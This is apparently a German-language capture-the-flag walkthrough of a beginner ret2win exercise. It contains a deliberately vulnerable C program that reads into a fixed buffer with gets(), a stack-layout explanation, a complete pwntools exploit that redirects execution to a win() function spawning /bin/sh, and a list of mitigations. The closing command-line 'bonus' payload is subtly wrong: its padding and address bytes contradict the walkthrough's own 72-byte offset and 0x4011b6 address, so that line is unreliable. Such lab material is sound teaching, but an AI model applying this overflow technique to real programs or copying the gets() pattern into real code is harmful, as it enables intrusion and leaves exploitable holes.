

Ret2Win Exploit - Walkthrough

Binary: level1_ret2win | Arch: x86-64 | OS: Linux | Schwierigkeit: Einsteiger

Was ist ein Ret2Win Exploit?

Ein Ret2Win Exploit nutzt einen Pufferueberlauf, um die Ruecksprungadresse einer Funktion mit der Adresse einer bereits existierenden Win-Funktion zu ueberschreiben. Kein Shellcode noetig - wir springen einfach zu vorhandenem Code.

Der Name sagt es schon: "return to win" - einfach zur win()-Funktion springen.

Die Binary - Sicherheitseinstellungen

Kompiliert mit: gcc -fno-stack-protector -no-pie -Wl,-z,execstack -Wl,-z,norelro

[AUS] Stack Canary -> Pufferueberlauf wird nicht erkannt
[AUS] PIE -> win() ist IMMER bei 0x4011b6 (feste Adresse)
[AUS] NX -> Stack ausfuehrbar (brauchen wir nicht)
[AUS] RELRO -> GOT beschreibbar (brauchen wir nicht)
[AUS] ASLR -> Keine Adress-Randomisierung

FAZIT: Saemtliche Schutzmassnahmen deaktiviert - perfekt zum Lernen!

Der Quellcode (ret2win.c)

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void win() {
    printf("Boom! Du hast es geschafft!\n");
    system("/bin/sh");
}

void vuln() {
    char buf[64];
    printf("Level 1 - Ret2Win\n");
    printf("Gib deinen Payload: ");
    gets(buf);          // <----- DIE LUECKE
    printf("Bye!\n");
}

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);
    vuln();
    return 0;
}
```

Die Schwachstelle - gets()

gets() liest von stdin in einen 64-Byte-Puffer OHNE Laengenpruefung.
Wenn wir mehr als 64 Bytes eingeben, ueberschreiben wir den Stack:

Stack-Aufbau von vuln():

```
+-----+
| buf[64]      | <- Hier landet unsere Eingabe
+-----+
| saved RBP (8 Byte) | <- Wird mit Junk ueberschrieben
+-----+
| return addr (8 Byte) | <- Wird mit win()-Adresse ueberschrieben
+-----+
```

Offset = 64 (Buffer) + 8 (RBP) = 72 Bytes bis zur Ruecksprungadresse
Diese 72 Byte fuellen wir mit 'A' (Padding), dann kommt die Win-Adresse.

Die Win-Funktion finden

Da PIE deaktiviert ist, liegt win() immer an derselben Adresse:

```
$ objdump -d ret2win | grep win>
00000000004011b6 <win>:
```

Win-Adresse: 0x4011b6

Das ist die Adresse, die wir als Ruecksprungadresse angeben.
Bei 64-Bit brauchen wir 8 Byte Adresse im little-endian-Format.
In Python: p64(0x4011b6) -> b'\xb6\x11\x40\x00\x00\x00\x00\x00'

finalexploit.py - Der Exploit (komplett)

```
1  #!/usr/bin/env python3
2  from pwn import *
3
4  context.log_level = 'error'
5  WIN    = 0x4011b6
6  OFFSET = 72
7
8  p = process('./ret2win')
9  p.recvuntil(b'Payload: ')
10 p.sendline(b'A' * OFFSET + p64(WIN))
11 p.interactive()
```

finalexploit.py - Zeile fuer Zeile Erklarung

Zeile 2: `from pwn import *`

Importiert pwntools - die Standard-Bibliothek fuer Exploit-Entwicklung.
Enthaelt `process()`, `p64()`, `interactive()` und viele andere Helfer.

Zeile 4: `context.log_level = 'error'`

Unterdrueckt Debug-Ausgaben von pwntools, zeigt nur echte Fehler.

Zeile 5: `WIN = 0x4011b6`

Adresse der `win()`-Funktion aus dem Binary.

Weil PIE aus ist, aendert sie sich nie.

Zeile 6: `OFFSET = 72`

64 Byte fuer den Puffer + 8 Byte fuer saved RBP.

So viele 'A' brauchen wir, bis wir an die Ruecksprungadresse kommen.

Zeile 8: `p = process('./ret2win')`

Startet die Binary als Child-Prozess.

pwntools verbindet stdin/stdout automatisch.

Zeile 9: `p.recvuntil(b'Payload: ')`

Wartet, bis die Binary "Gib deinen Payload: " ausgegeben hat.

So wird sichergestellt, dass `gets()` bereit ist.

Zeile 10: `p.sendline(b'A' * OFFSET + p64(WIN))`

DAS IST DER EIGENTLICHE EXPLOIT.

- `b'A' * OFFSET = 72` mal 'A' zum Fuellen des Puffers + RBP

- `p64(WIN)` = `win()`-Adresse (0x4011b6) als 8 Byte little-endian

- `sendline()` fuegt ein Newline an, damit `gets()` die Eingabe akzeptiert

Ergebnis: RIP zeigt auf `win()`, sobald `vuln()` das 'ret' ausfuehrt.

Zeile 11: `p.interactive()`

Gibt die Kontrolle an den Benutzer weiter.

Nachdem `win()` `system("/bin/sh")` aufgerufen hat, koennen wir hier Kommandos eingeben.

Schritt-fuer-Schritt Ablauf

1. `main()` ruft `vuln()` auf -> Ruecksprungadresse (zu `main`) wird auf Stack gelegt
2. `vuln()` legt Puffer (64 Byte) + saved RBP auf den Stack
3. `gets(buf)` wartet auf unsere Eingabe - KEINE LAENGENPRUEFUNG!
4. Wir senden: `72 x 'A' + p64(0x4011b6)`
 - 72 Byte fuellen Puffer + saved RBP mit 'A'
 - 0x4011b6 ueberschreibt die Ruecksprungadresse
5. `vuln()` gibt "Bye!" aus und fuehrt 'ret' aus
6. CPU springt zu 0x4011b6 -> `win()` wird ausgefuehrt
7. `win()` gibt "Boom! Du hast es geschafft!" aus
8. `win()` ruft `system("/bin/sh")` auf -> wir haben eine Shell

Erwartete Ausgabe beim Ausfuehren

```
$ python3 finalexploit.py
Level 1 - Ret2Win
Gib deinen Payload: [Payload wird automatisch gesendet]
Bye!
Boom! Du hast es geschafft!
$ id
uid=1000(etiennekrein) gid=1000(etiennekrein)
$ whoami
etiennekrein
$ exit
[*] Stopped process './ret2win' (pid 12345)
```

Was haette diesen Exploit verhindert?

[JA] Stack Canary (gcc -fstack-protector)

Ein zufaelliger Canary-Wert wird zwischen Puffer und RBP platziert.
Vor dem 'ret' wird er geprueft - bei Aenderung -> Programmabbruch.
Umgehen: Canary leaken (z.B. bruteforce bei Fork-Servern).

[JA] PIE + ASLR (gcc -pie)

win() bekommt jede Ausfuehrung eine andere Basis-Adresse.
Ohne Info-Leak kennen wir die Adresse nicht.
Umgehen: puts@plt(puts@got) -> puts@glibc -> libc Base berechnen
Dann: system("/bin/sh") aus der libc nutzen (ret2libc).

[NEIN] NX (Non-Executable Stack)

Wuerde Shellcode-Injection stoppen, aber Ret2Win springt
zu bestehendem Code (win()), nicht zum Stack - NX hilft nicht!

[NEIN] RELRO

Schuetzt die GOT vor Ueberschreiben - wird hier nicht gebraucht.

FAZIT: Schon EINE einzige Schutzmassnahme (Canary ODER PIE) haette
diesen Exploit gestoppt. Die Binary hat buchstaeblich alle
Schutzmechanismen deaktiviert.

Bonus: Ohne pwntools (reine Kommandozeile)

```
echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x06\x11\x40\x00\x00\x00\x00\x00' | ./ret2win
```

TL;DR - Zusammenfassung

Payload = 72 Bytes Padding + p64(0x4011b6)

72 = 64 (Buffer) + 8 (saved RBP)

Stack Canary oder PIE haetten ausgereicht, um das zu stoppen.